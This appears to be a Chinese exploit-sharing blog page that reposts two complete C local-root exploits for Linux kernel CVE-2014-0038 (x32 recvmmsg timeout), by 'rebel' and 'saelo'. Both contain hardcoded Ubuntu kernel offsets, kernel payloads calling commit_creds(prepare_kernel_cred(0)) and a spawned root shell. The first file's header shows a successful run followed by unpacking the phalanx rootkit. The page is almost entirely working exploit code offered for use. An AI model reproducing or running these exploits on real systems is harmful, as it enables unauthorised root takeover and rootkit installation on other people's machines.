CVE-2014-0038

  • A+
所属分类:漏洞时代
/*  *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y) CVE-2014-0038 / x32 ABI with recvmmsg by rebel @ irc.smashthestack.org -----------------------------------    takes about 13 minutes to run because timeout->tv_sec is decremented once per second and 0xff*3 is 765.    some things you could do while waiting:   * watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times   * read https://wiki.ubuntu.com/Security/Features and smirk a few times   * brew some coffee   * stare at the countdown giggly with anticipation    could probably whack the high bits of some pointer with nanoseconds, but that would require a bunch of nulls before the pointer and then reading an oops from dmesg which isn't that elegant.    &net_sysctl_root.permissions is nice because it has 16 trailing nullbytes    hardcoded offsets because I only saw this on ubuntu & kallsyms is protected anyway..    same principle will work on 32bit but I didn't really find any major distros shipping with CONFIG_X86_X32=y    [email protected]:~$ uname -a Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux [email protected]:~$ gcc recvmmsg.c -o recvmmsg [email protected]:~$ ./recvmmsg byte 3 / 3.. ~0 secs left.      w00p w00p! # id uid=0(root) gid=0(root) groups=0(root) # sh phalanx-2.6b-x86_64.sh unpacking..    :)=    greets to my homeboys kaliman, beist, capsl & all of #social    Sat Feb  1 22:15:19 CET 2014 % rebel % *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */    #define _GNU_SOURCE #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/utsname.h>    #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) #define VLEN 1 #define BUFSIZE 200    int port;    struct offset {     char *kernel_version;     unsigned long dest; // net_sysctl_root + 96     unsigned long original_value; // net_ctl_permissions     unsigned long prepare_kernel_cred;     unsigned long commit_creds; };    struct offset offsets[] = {     {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10     {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10     {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04     {NULL,0,0,0,0} };    void udp(int b) {     int sockfd;     struct sockaddr_in servaddr,cliaddr;     int s = 0xff+1;        if(fork() == 0) {         while(s > 0) {             fprintf(stderr,"/rbyte %d / 3.. ~%d secs left    /b/b/b/b",b+1,3*0xff - b*0xff - (0xff+1-s));             sleep(1);             s--;             fprintf(stderr,".");         }            sockfd = socket(AF_INET,SOCK_DGRAM,0);         bzero(&servaddr,sizeof(servaddr));         servaddr.sin_family = AF_INET;         servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);         servaddr.sin_port=htons(port);         sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));         exit(0);     }    }    void trigger() {     open("/proc/sys/net/core/somaxconn",O_RDONLY);        if(getuid() != 0) {         fprintf(stderr,"not root, ya blew it!/n");         exit(-1);     }        fprintf(stderr,"w00p w00p!/n");     system("/bin/sh -i"); }    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred;    // thx bliss static int __attribute__((regparm(3))) getroot(void *head, void * table) {     commit_creds(prepare_kernel_cred(0));     return -1; }    void __attribute__((regparm(3))) trampoline() {     asm("mov $getroot, %rax; call *%rax;"); }    int main(void) {     int sockfd, retval, i;     struct sockaddr_in sa;     struct mmsghdr msgs[VLEN];     struct iovec iovecs[VLEN];     char buf[BUFSIZE];     long mmapped;     struct utsname u;     struct offset *off = NULL;        uname(&u);        for(i=0;offsets[i].kernel_version != NULL;i++) {         if(!strcmp(offsets[i].kernel_version,u.release)) {             off = &offsets[i];             break;         }     }        if(!off) {         fprintf(stderr,"no offsets for this kernel version../n");         exit(-1);     }        mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));     mmapped &= 0x000000ffffffffff;            srand(time(NULL));     port = (rand() % 30000)+1500;        commit_creds = (_commit_creds)off->commit_creds;     prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;        mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);        if(mmapped == -1) {         perror("mmap()");         exit(-1);     }        memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);        memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);        if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {         perror("mprotect()");         exit(-1);     }            sockfd = socket(AF_INET, SOCK_DGRAM, 0);     if (sockfd == -1) {         perror("socket()");         exit(-1);     }        sa.sin_family = AF_INET;     sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);     sa.sin_port = htons(port);        if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {         perror("bind()");         exit(-1);     }        memset(msgs, 0, sizeof(msgs));        iovecs[0].iov_base = &buf;     iovecs[0].iov_len = BUFSIZE;     msgs[0].msg_hdr.msg_iov = &iovecs[0];     msgs[0].msg_hdr.msg_iovlen = 1;        for(i=0;i < 3 ;i++) {         udp(i);         retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);         if(!retval) {             fprintf(stderr,"/nrecvmmsg() failed/n");         }     }        close(sockfd);         fprintf(stderr,"/n");        trigger(); }
/*  * Local root exploit for CVE-2014-0038.  *  * https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c  *  * Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer  * passed from userspace.  *  * Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg,  * if the original byte at that address is known it can be overwritten  * with known data.  * If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00.  *  * Restrictions: The first long at the passed address (tv_sec) has to be positive  * and the second long (tv_nsec) has to be smaller than 1000000000.  *  * Overview: Target the release function pointer of the ptmx_fops structure located in  * non initialized (and thus writable) kernel memory. Zero out the three most  * significant bytes and thus turn it into a pointer to an address mappable in  * user space.  * The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec  * is valid).  * Open /dev/ptmx, close it and enjoy.  *  * Not very beautiful but should be fairly reliable if symbols can be resolved.  *  * Tested on Ubuntu 13.10  *  * gcc timeoutpwn.c -o pwn && ./pwn  *  * Written by saelo  */ #define _GNU_SOURCE #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/wait.h> #include <sys/mman.h>    #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)    #define BUFSIZE 200 #define PAYLOADSIZE 0x2000 #define FOPS_RELEASE_OFFSET 13*8    /*  * Adapt these addresses for your need.  * see /boot/System.map* or /proc/kallsyms  * These are the offsets from ubuntu 3.11.0-12-generic.  */ #define PTMX_FOPS           0xffffffff81fb30c0LL #define TTY_RELEASE         0xffffffff8142fec0LL #define COMMIT_CREDS        0xffffffff8108ad40LL #define PREPARE_KERNEL_CRED 0xffffffff8108b010LL    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);    /*  * Match signature of int release(struct inode*, struct file*).  *  * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz  */ int __attribute__((regparm(3))) kernel_payload(void* foo, void* bar) {     _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;     _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;        *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1;    // restore pointer     commit_creds(prepare_kernel_cred(0));        return -1; }    /*  * Write a zero to the byte at then given address.  * Only works if the current value is 0xff.  */ void zero_out(long addr) {     int sockfd, retval, port, pid, i;     struct sockaddr_in sa;     char buf[BUFSIZE];     struct mmsghdr msgs;     struct iovec iovecs;        srand(time(NULL));        port = 1024 + (rand() % (0x10000 - 1024));        sockfd = socket(AF_INET, SOCK_DGRAM, 0);     if (sockfd == -1) {         perror("socket()");         exit(EXIT_FAILURE);     }        sa.sin_family      = AF_INET;     sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);     sa.sin_port        = htons(port);     if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {         perror("bind()");         exit(EXIT_FAILURE);     }        memset(&msgs, 0, sizeof(msgs));     iovecs.iov_base         = buf;     iovecs.iov_len          = BUFSIZE;     msgs.msg_hdr.msg_iov    = &iovecs;     msgs.msg_hdr.msg_iovlen = 1;        /*      * start a seperate process to send a udp message after 255 seconds so the syscall returns,      * but not after updating the timout struct and writing the remaining time into it.      * 0xff - 255 seconds = 0x00      */     printf("clearing byte at 0x%lx/n", addr);     pid = fork();     if (pid == 0) {         memset(buf, 0x41, BUFSIZE);            if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {             perror("socket()");             exit(EXIT_FAILURE);         }            sa.sin_family      = AF_INET;         sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);         sa.sin_port        = htons(port);            printf("waiting 255 seconds.../n");         for (i = 0; i < 255; i++) {         if (i % 10 == 0)                 printf("%is/255s/n", i);         sleep(1);         }            printf("waking up parent.../n");         sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa));         exit(EXIT_SUCCESS);     } else if (pid > 0) {         retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr);         if (retval == -1) {             printf("address can't be written to, not a valid timespec struct/n");             exit(EXIT_FAILURE);         }         waitpid(pid, 0, 0);         printf("byte zeroed out/n");     } else {       perror("fork()");       exit(EXIT_FAILURE);     } }    int main(int argc, char** argv) {     long code, target;     int pwn;        /* Prepare payload... */     printf("preparing payload buffer.../n");     code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);     memset((void*)code, 0x90, PAYLOADSIZE);     code += PAYLOADSIZE - 1024;     memcpy((void*)code, &kernel_payload, 1024);        /*      * Now clear the three most significant bytes of the fops pointer      * to the release function.      * This will make it point into the memory region mapped above.      */     printf("changing kernel pointer to point into controlled buffer.../n");     target = PTMX_FOPS + FOPS_RELEASE_OFFSET;     zero_out(target + 7);     zero_out(target + 6);     zero_out(target + 5);        /* ... and trigger. */     printf("releasing file descriptor to call manipulated pointer in kernel mode.../n");     pwn = open("/dev/ptmx", 'r');     close(pwn);        if (getuid() != 0) {         printf("failed to get root :(/n");         exit(EXIT_FAILURE);     }        printf("got root, enjoy :)/n");     return execl("/bin/bash", "-sh", NULL); }

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: